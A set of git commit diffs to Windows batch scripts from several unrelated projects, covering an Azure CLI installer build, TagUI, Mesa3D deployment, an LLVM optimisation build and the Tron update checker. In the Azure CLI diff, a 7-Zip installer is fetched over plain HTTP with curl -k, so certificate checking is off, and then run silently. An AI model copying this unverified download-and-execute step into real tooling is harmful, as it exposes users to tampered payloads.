 set WIX_DOWNLOAD_URL="https://azurecliprod.blob.core.windows.net/msi/wix310-binaries-mirror.zip"
-set TAR_DOWNLOAD_URL="https://azurecliprod.blob.core.windows.net/msi/tar-1.13-1-bin.zip"
-set GZIP_DOWNLOAD_URL=http://www.gzip.org/gzip124xN.exe

 set PYTHON_DOWNLOAD_URL=https://www.python.org/ftp/python/%PYTHON_VERSION%/python-%PYTHON_VERSION%.exe

@@ -36,14 +34,10 @@
 set TEMP_CLI_FOLDER=zcli
 set TEMP_SCRATCH_FOLDER=zcli_scratch
 set TEMP_WIX_FOLDER=zwix
-set TEMP_TAR_FOLDER=zTar
-set TEMP_GZIP_FOLDER=zgzip
 set TEMP_PYTHON_FOLDER=zPython
 set BUILDING_DIR=%HOMEDRIVE%%HOMEPATH%\%TEMP_CLI_FOLDER%
 set SCRATCH_DIR=%HOMEDRIVE%%HOMEPATH%\%TEMP_SCRATCH_FOLDER%
 set WIX_DIR=%HOMEDRIVE%%HOMEPATH%\%TEMP_WIX_FOLDER%
-set GZIP_DIR=%HOMEDRIVE%%HOMEPATH%\%TEMP_GZIP_FOLDER%
-set TAR_DIR=%HOMEDRIVE%%HOMEPATH%\%TEMP_TAR_FOLDER%
 set PYTHON_DIR=%HOMEDRIVE%%HOMEPATH%\%TEMP_PYTHON_FOLDER%

 pushd %HOMEDRIVE%%HOMEPATH%
@@ -93,44 +87,20 @@
     popd
 )

-if exist %TEMP_GZIP_FOLDER% (
-    echo Using existing gzip at %GZIP_DIR%
-)
-if not exist %TEMP_GZIP_FOLDER% (
-    mkdir %TEMP_GZIP_FOLDER%
-    pushd %GZIP_DIR%
-    echo Downloading Gzip.
-    curl -o gzip-installer.exe %GZIP_DOWNLOAD_URL% -k
-    gzip-installer.exe
-    if %errorlevel% neq 0 goto ERROR
-    echo Gzip downloaded and extracted successfully.
-    popd
-)
-
-if exist %TEMP_TAR_FOLDER% (
-    echo Using existing Tar at %TAR_DIR%
-)
-if not exist %TEMP_TAR_FOLDER% (
-    mkdir %TEMP_TAR_FOLDER%
-    pushd %TAR_DIR%
-    echo Downloading Tar.
-    curl -o tar-archive.zip %TAR_DOWNLOAD_URL% -k
-    unzip -q tar-archive.zip
-    del tar-archive.zip
-    if %errorlevel% neq 0 goto ERROR
-    echo Tar downloaded and extracted successfully.
-    popd
-)
-
 popd

 :: Download & unzip CLI archive
 pushd %BUILDING_DIR%
 echo Downloading CLI archive version %CLIVERSION%
 curl -o cli-archive.tar.gz %CLI_ARCHIVE_DOWNLOAD_URL% -k
-%GZIP_DIR%\gzip.exe -d < cli-archive.tar.gz | %TAR_DIR%\bin\tar.exe xvf -
+curl -o 7zipsetup.exe http://www.7-zip.org/a/7z1604-x64.exe -k
+7zipsetup.exe /S
+"C:\Program Files\7-Zip\7z.exe" x -r cli-archive.tar.gz
+"C:\Program Files\7-Zip\7z.exe" x -r azure-cli_packaged_%CLIVERSION%.tar
 echo Extracted.
+del 7zipsetup.exe
 del cli-archive.tar.gz
+del azure-cli_packaged_%CLIVERSION%.tar
 if %errorlevel% neq 0 goto ERROR
 echo Downloaded and extracted CLI archive successfully.
 popd


update tagui.cmd - make inputs official

update tagui.cmd - make inputs official

--- src/tagui.cmd
+++ src/tagui.cmd
@@ -5,13 +5,14 @@
 setlocal enableextensions enabledelayedexpansion

 if "%~1"=="" (
-echo tagui v1.0: missing parameter^(s^) - use this syntax and below options to run ./tagui flow_filename option^(s^)
+echo tagui v1.0: use following syntax and below options to run ./tagui flow_filename option^(s^)
 echo.
 echo firefox - run on visible Firefox web browser instead of invisible browser ^(first install Firefox^)
 echo report - generate a web report for easy sharing of run results ^(default is only a text log file^)
 echo debug - show run-time backend messages from PhantomJS for detailed tracing and logging
 echo quiet - run without output except for explicit output ^(echo / show / check / api / errors etc^)
 echo test - professional testing using CasperJS assertions ^(TA.Gui dynamic tx^('selector'^) usable^)
+echo input^(s^) - add your own parameter^(s^) to be used in your automation flow as variables p1 to p9
 echo.
 echo TA.Gui is a tool for non-developers and business users to automate web ~ http://tebel.org
 echo.
@@ -259,4 +260,4 @@
 cd /d "%initial_dir%"

 rem returns 0 if no error parsing flow file, otherwise return 1
-exit /b %tagui_error_code%+exit /b %tagui_error_code%


Parameterise extract_hfm_interop_dlls.bat

--- lib/extract_hfm_interop_dlls.bat
+++ lib/extract_hfm_interop_dlls.bat
@@ -1,5 +1,16 @@
+@ECHO OFF
+IF "%1"=="" (GOTO USAGE) ELSE (GOTO EXTRACT)
+
+
+:USAGE
+ECHO Usage: %~n0.bat *Version*, where *Version* is e.g. hfm-11.1.2.2, hfm-11.1.2.2-300, etc
+EXIT /B 99
+
+
+:EXTRACT
+
 SET HFM_HOME=%EPM_ORACLE_HOME%..\products\FinancialManagement
-SET OUTPUT_PATH=%~dp0\hfm-11.1.2.2
+SET OUTPUT_PATH=%~dp0\%1
 SET TLBIMP=%~dp0\..\tools\tlbimp

 MKDIR %OUTPUT_PATH%


System wide deployment unattended mode: timer adjustments

--- bin/systemwidedeploy.cmd
+++ bin/systemwidedeploy.cmd
@@ -10,8 +10,7 @@
 )
 :--------------------------------------
 @IF "%*"=="" TITLE Mesa3D system-wide deployment utility
-@set intromenu=6
-@set deployresult=3
+@set deployresult=1
 @IF "%*"=="" echo -------------------------------------
 @IF "%*"=="" echo Mesa3D system-wide deployment utility
 @IF "%*"=="" echo -------------------------------------
@@ -58,7 +57,7 @@
 @echo Invaild entry
 @IF "%1"=="" pause
 @IF "%1"=="" GOTO deploy
-@IF NOT "%1"=="" CHOICE /N /T %intromenu% /C y /D y >nul 2>&1
+@IF NOT "%1"=="" CHOICE /N /T %deployresult% /C y /D y >nul 2>&1
 @IF NOT "%1"=="" GOTO exit

 :desktopgl


Playing with LLVM optimizations...

Playing with LLVM optimizations...

--- Zelig/LLVM2IR_results/mbed/simple/build.bat
+++ Zelig/LLVM2IR_results/mbed/simple/build.bat
@@ -18,26 +18,26 @@
 @REM Flag for release binaries is LLILUM_LWIP_DEBUG=0, debug binaries is 1, and checked is 2.
 IF NOT DEFINED LLILUM_LWIP_DEBUG      SET LLILUM_LWIP_DEBUG=0

-@REM set incremental build as default, and correct as needed
+@REM SET incremental build as default, and correct as needed
 SET LLILUM_CLEANCLEAN=0
 SET LLILUM_DUMPS=0

 IF "%2"=="/clean" (
-	SET LLILUM_CLEANCLEAN=1
+    SET LLILUM_CLEANCLEAN=1
 )
 IF "%2"=="/dumps" (
-	SET LLILUM_DUMPS=1
+    SET LLILUM_DUMPS=1
 )
 IF "%3"=="/dumps" (
-	SET LLILUM_DUMPS=1
+    SET LLILUM_DUMPS=1
 )

 IF "%LLILUM_SKIP_CLEANCLEAN%" == "0" (
-	SET LLILUM_CLEANCLEAN=1
+    SET LLILUM_CLEANCLEAN=1
 )
 IF "%LLILUM_CLEANCLEAN%" == "0" (
     ECHO Incremental build for c/cpp/asm sources...
-    ECHO Use 'set LLILUM_SKIP_CLEANCLEAN=' or 'set LLILUM_SKIP_CLEANCLEAN=0' to perform a full build,
+    ECHO Use 'SET LLILUM_SKIP_CLEANCLEAN=' or 'SET LLILUM_SKIP_CLEANCLEAN=0' to perform a full build,
     ECHO or call the build batch file with '/bc' as last argument
 )

@@ -63,7 +63,7 @@
     SET TARGET=%1
     IF "%1"=="K64F" (
     SET SIZE_OF_HEAP=0x10000
-    SET LLILUM_TARGET_CPU=cortex-m4
+    SET LLILUM_TARGET_CPU=cortex-m3
     SET LLILUM_TARGET_TRIPLE=Thumb-NoSubArch-UnknownVendor-UnknownOS-GNUEABI-ELF
     SET LLILUM_TARGET_ARCH=thumb
     SET LWIP_USE=1
@@ -113,27 +113,62 @@
     )
 )

+SET ARCH_AND_CPU=-march=%LLILUM_TARGET_ARCH% -mcpu=%LLILUM_TARGET_CPU%
+
+SET OPT_STEPS__VERIFY=-verify-debug-info -verify-dom-info -verify-each -verify-loop-info -verify-regalloc -verify-region-info
+SET OPT_STEPS__OPTIMIZE=-march=%LLILUM_TARGET_ARCH% -mcpu=%LLILUM_TARGET_CPU% -mem2reg -instcombine -scev-aa -indvars -gvn -globaldce -adce -dce -tailcallopt -instcombine -memcpyopt -scalarrepl -ipconstprop -deadargelim -sccp -dce -die -ipsccp -dce -die -instcombine -constmerge -scev-aa -targetlibinfo -irce -dse -dce -instcombine -argpromotion -adce -instcombine -memcpyopt -globaldce -die -dce -dse -loop-deletion -indvars -loop-simplify -licm -indvars -loop-reduce -mem2reg -time-passes
+
+SET OPT_STEPS__BUILDS_DATA_STRUCTURES=-domfrontier -domtree -intervals -globals-aa -memdep -dce -die -domfrontier -domtree -intervals -globals-aa -memdep
+SET OPT_STEPS__SIMPLIFY_GLOBALS=-strip-dead-prototypes -globalopt -globaldce -gvn -prune-eh -reassociate -constmerge -ipconstprop -reassociate -constmerge -constprop -constmerge -sccp -constmerge -deadargelim -ipsccp -irce %OPT_STEPS__BUILDS_DATA_STRUCTURES%
+SET OPT_STEPS__DEAD_CODE_OBVIOUS=-dse -die %OPT_STEPS__BUILDS_DATA_STRUCTURES%
+REM SET OPT_STEPS__INLINE=-always-inline -inline %OPT_STEPS__BUILDS_DATA_STRUCTURES%
+REM SET OPT_STEPS__INLINE=-always-inline %OPT_STEPS__BUILDS_DATA_STRUCTURES%
+REM SET OPT_STEPS__MERGE_FUNCTIONS=-mergefunc -mergereturn %OPT_STEPS__BUILDS_DATA_STRUCTURES%
+SET OPT_STEPS__SIMPLIFY_FUNCTIONS=-simplifycfg %OPT_STEPS__BUILDS_DATA_STRUCTURES%
+REM SET OPT_STEPS__SIMPLIFY_SINK=-sink %OPT_STEPS__BUILDS_DATA_STRUCTURES%
+SET OPT_STEPS__SIMPLIFY_TAIL_CALL=-tailcallopt %OPT_STEPS__BUILDS_DATA_STRUCTURES%
+SET OPT_STEPS__SIMPLIFY_INSTRUCTIONS=-instcombine -sroa -memcpyopt -irce -scalarrepl -scalarrepl-ssa %OPT_STEPS__BUILDS_DATA_STRUCTURES%
+SET OPT_STEPS__DEAD_CODE_AGGRESSIVE=-adce -bdce %OPT_STEPS__BUILDS_DATA_STRUCTURES%
+REM SET OPT_STEPS__LOOPS=-loop-deletion -indvars -loop-simplify -licm -indvars -loop-reduce %OPT_STEPS__BUILDS_DATA_STRUCTURES%
+SET OPT_STEPS__MEM2REG=-mem2reg %OPT_STEPS__BUILDS_DATA_STRUCTURES%
+
 @REM - To skip optimizations for testing you can SET this ENVIRONMENT variable, otherwise the optimization will run as normal
 IF "%LLILUM_SKIP_OPT%" == "0" (
     ECHO Running LLVM Optimization passes...
-
-    @REM -"%LLVM_BIN%\opt" -O2 -adce -globaldce %TARGET%\Microsoft.Zelig.Test.mbed.Simple.bc -o %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt.bc
-    @REM -"%LLVM_BIN%\opt" -O1 -globalopt -constmerge -adce -globaldce -time-passes %TARGET%\Microsoft.Zelig.Test.mbed.Simple.bc -o %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt.bc
-
-    "%LLVM_BIN%\opt" -verify-debug-info -verify-dom-info -verify-each -verify-loop-info -verify-regalloc -verify-region-info %TARGET%\Microsoft.Zelig.Test.mbed.Simple.bc -o %TARGET%\Microsoft.Zelig.Test.mbed.Simple_verify.bc
-    "%LLVM_BIN%\opt" -march=%LLILUM_TARGET_ARCH% -mcpu=%LLILUM_TARGET_CPU% -aa-eval -indvars -gvn -globaldce -adce -dce -tailcallopt -scalarrepl -mem2reg -ipconstprop -deadargelim -sccp -dce -ipsccp -dce -constmerge -scev-aa -targetlibinfo -irce -dse -dce -argpromotion -mem2reg -adce -mem2reg -globaldce -die -dce -dse -time-passes %TARGET%\Microsoft.Zelig.Test.mbed.Simple.bc -o %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt.bc
+
+    "%LLVM_BIN%\llvm-dis" %TARGET%\Microsoft.Zelig.Test.mbed.Simple.bc
+
+    @REM -"%LLVM_BIN%\opt" -O2 -adce -globaldce %TARGET%\Microsoft.Zelig.Test.mbed.Simple.bc -o %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt_2.bc
+    @REM -"%LLVM_BIN%\opt" -O1 -globalopt -constmerge -adce -globaldce -time-passes %TARGET%\Microsoft.Zelig.Test.mbed.Simple.bc -o %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt_2.bc
+
+    ECHO Verify...
+    "%LLVM_BIN%\opt" %OPT_STEPS__VERIFY% %TARGET%\Microsoft.Zelig.Test.mbed.Simple.bc -o %TARGET%\Microsoft.Zelig.Test.mbed.Simple_verify.bc
+
+    ECHO Optimize...
+    ECHO Generating LLVM IR source file...
+
+    "%LLVM_BIN%\opt" %OPT_STEPS__OPTIMIZE% %TARGET%\Microsoft.Zelig.Test.mbed.Simple.bc -o %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt_2.bc
+    REM "%LLVM_BIN%\opt" %ARCH_AND_CPU% %OPT_STEPS__DEAD_CODE_OBVIOUS% %OPT_STEPS__SIMPLIFY_GLOBALS% %OPT_STEPS__INLINE% %OPT_STEPS__MERGE_FUNCTIONS% %OPT_STEPS__INLINE% %OPT_STEPS__SIMPLIFY_FUNCTIONS% %OPT_STEPS__SIMPLIFY_SINK% %OPT_STEPS__SIMPLIFY_TAIL_CALL% %OPT_STEPS__SIMPLIFY_INSTRUCTIONS% %OPT_STEPS__LOOPS% %OPT_STEPS__MEM2REG% -time-passes %TARGET%\Microsoft.Zelig.Test.mbed.Simple.bc -o       %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt_0.bc
+    REM "%LLVM_BIN%\opt" %ARCH_AND_CPU% %OPT_STEPS__DEAD_CODE_OBVIOUS% %OPT_STEPS__SIMPLIFY_GLOBALS% %OPT_STEPS__INLINE% %OPT_STEPS__MERGE_FUNCTIONS% %OPT_STEPS__INLINE% %OPT_STEPS__SIMPLIFY_FUNCTIONS% %OPT_STEPS__SIMPLIFY_SINK% %OPT_STEPS__SIMPLIFY_TAIL_CALL% %OPT_STEPS__SIMPLIFY_INSTRUCTIONS% %OPT_STEPS__LOOPS% %OPT_STEPS__MEM2REG% -time-passes %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt_0.bc -o %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt_1.bc
+    REM "%LLVM_BIN%\opt" %ARCH_AND_CPU% %OPT_STEPS__DEAD_CODE_OBVIOUS% %OPT_STEPS__SIMPLIFY_GLOBALS% %OPT_STEPS__INLINE% %OPT_STEPS__MERGE_FUNCTIONS% %OPT_STEPS__INLINE% %OPT_STEPS__SIMPLIFY_FUNCTIONS% %OPT_STEPS__SIMPLIFY_SINK% %OPT_STEPS__SIMPLIFY_TAIL_CALL% %OPT_STEPS__SIMPLIFY_INSTRUCTIONS% %OPT_STEPS__LOOPS% %OPT_STEPS__MEM2REG% -time-passes %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt_1.bc -o %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt_2.bc
+
+    REM "%LLVM_BIN%\llvm-dis" %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt_0.bc
+    REM "%LLVM_BIN%\llvm-dis" %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt_1.bc
+    "%LLVM_BIN%\llvm-dis" %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt_2.bc
+
+    @echo off
+
 ) ELSE (
     ECHO Skipping optimization passes...
-    COPY %TARGET%\Microsoft.Zelig.Test.mbed.Simple.bc %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt.bc 1>NUL
+    COPY %TARGET%\Microsoft.Zelig.Test.mbed.Simple.bc %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt_2.bc 1>NUL
 )
 @REM -"%LLVM_BIN%\llvm-bcanalyzer" %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt.bc

 IF "%LLILUM_SKIP_LLC%" == "0" (
     ECHO Generating LLVM IR source file...
-    "%LLVM_BIN%\llvm-dis" %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt.bc
-
+
     ECHO Compiling to %LLILUM_TARGET_ARCH% ^(optimization level %LLILUM_OPT_LEVEL%^)...
-    "%LLVM_BIN%\llc" -O%LLILUM_OPT_LEVEL% %LLILUM_TARGET_EXTRA% -code-model=small -data-sections -relocation-model=pic -march=%LLILUM_TARGET_ARCH% -mcpu=%LLILUM_TARGET_CPU% -mtriple=%LLILUM_TARGET_TRIPLE% -filetype=obj -o=%TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt.o %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt.bc
+    "%LLVM_BIN%\llc" -O%LLILUM_OPT_LEVEL% %LLILUM_TARGET_EXTRA% -code-model=small -data-sections -relocation-model=pic -march=%LLILUM_TARGET_ARCH% -mcpu=%LLILUM_TARGET_CPU% -mtriple=%LLILUM_TARGET_TRIPLE% -filetype=obj -o=%TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt.o %TARGET%\Microsoft.Zelig.Test.mbed.Simple_opt_2.bc
     if %ERRORLEVEL% LSS 0 (
         @ECHO ERRORLEVEL=%ERRORLEVEL%
         goto :EXIT
@@ -153,11 +188,11 @@
 ECHO Compiling and linking with mbed libs...

 IF "%LLILUM_CLEANCLEAN%" == "1" (
-	ECHO Cleaning target '%TARGET%' for  intermediate and final artifacts...
-	make cleanclean TARGET=%TARGET%
-) ELSE (
-	ECHO Cleaning target '%TARGET%' for final artifacts only...
-	make clean TARGET=%TARGET%
+    ECHO Cleaning target '%TARGET%' for  intermediate and final artifacts...
+    make cleanclean TARGET=%TARGET%
+) ELSE (
+    ECHO Cleaning target '%TARGET%' for final artifacts only...
+    make clean TARGET=%TARGET%
 )

 make all TARGET=%TARGET% HEAP_SIZE=%SIZE_OF_HEAP% STACK_SIZE=%SIZE_OF_STACK% USE_LWIP=%LWIP_USE% DEBUG=%LLILUM_DEBUG% LWIP_DEBUG=%LLILUM_LWIP_DEBUG%
@@ -165,11 +200,11 @@
 ECHO.
 ECHO Target '%TARGET%' build is complete.
 ECHO.
-
+
 IF "%LLILUM_DUMPS%" == "1" (
-	ECHO Creating .lst and .disas files...
-	make dumps TARGET=%TARGET% HEAP_SIZE=%SIZE_OF_HEAP% STACK_SIZE=%SIZE_OF_STACK% USE_LWIP=%LWIP_USE%
-	ECHO done!
+    ECHO Creating .lst and .disas files...
+    make dumps TARGET=%TARGET% HEAP_SIZE=%SIZE_OF_HEAP% STACK_SIZE=%SIZE_OF_STACK% USE_LWIP=%LWIP_USE%
+    ECHO done!
 )

 GOTO :EXIT


Update check_update.bat

Update check_update.bat

--- resources/stage_0_prep/check_update/check_update.bat
+++ resources/stage_0_prep/check_update/check_update.bat
@@ -52,7 +52,7 @@
 :::::::::::::::::::::::

 :: wget sha256sums.txt from the repo
-stage_0_prep\check_update\wget.exe --user-agent="User-Agent: Tron-Update-Checker/%CHECK_UPDATE_VERSION% (Windows; %WIN_VER%; %WIN_VER_NUM%)" %REPO_URL%/sha256sums.txt -O "%TEMP%\sha256sums.txt" 2>NUL
+stage_0_prep\check_update\wget.exe --user-agent="Tron-Update-Checker/%CHECK_UPDATE_VERSION% (Windows; %WIN_VER%; %WIN_VER_NUM%)" %REPO_URL%/sha256sums.txt -O "%TEMP%\sha256sums.txt" 2>NUL
 :: Assuming there was no error, go ahead and extract version number into REPO_TRON_VERSION, and release date into REPO_TRON_DATE
 if /i %ERRORLEVEL%==0 (
 	for /f "tokens=4 delims=,()" %%a in (%TEMP%\sha256sums.txt) do set WORKING=%%a
@@ -107,7 +107,7 @@
 		echo.
 		echo %TIME%   Downloading new version to the desktop, please wait...
 		echo.
-		stage_0_prep\check_update\wget.exe --user-agent="User-Agent: Tron-Update-Downloader/%TRON_VERSION% (Windows; %WIN_VER%; %WIN_VER_NUM%)" "%REPO_URL%/Tron v%REPO_TRON_VERSION% (%REPO_TRON_DATE%).exe" -O "%USERPROFILES%\%USERNAME%\Desktop\Tron v%REPO_TRON_VERSION% (%REPO_TRON_DATE%).exe"
+		stage_0_prep\check_update\wget.exe --user-agent="Tron-Update-Downloader/%TRON_VERSION% (Windows; %WIN_VER%; %WIN_VER_NUM%)" "%REPO_URL%/Tron v%REPO_TRON_VERSION% (%REPO_TRON_DATE%).exe" -O "%USERPROFILES%\%USERNAME%\Desktop\Tron v%REPO_TRON_VERSION% (%REPO_TRON_DATE%).exe"
 		echo.
 		echo %TIME%   Download finished.
 		echo.


add switch cmd

add switch cmd

error: pathspec 'switch.cmd' did not match any file(s) known to git

--- switch.cmd
+++ switch.cmd
@@ -0,0 +1 @@
+git checkout %1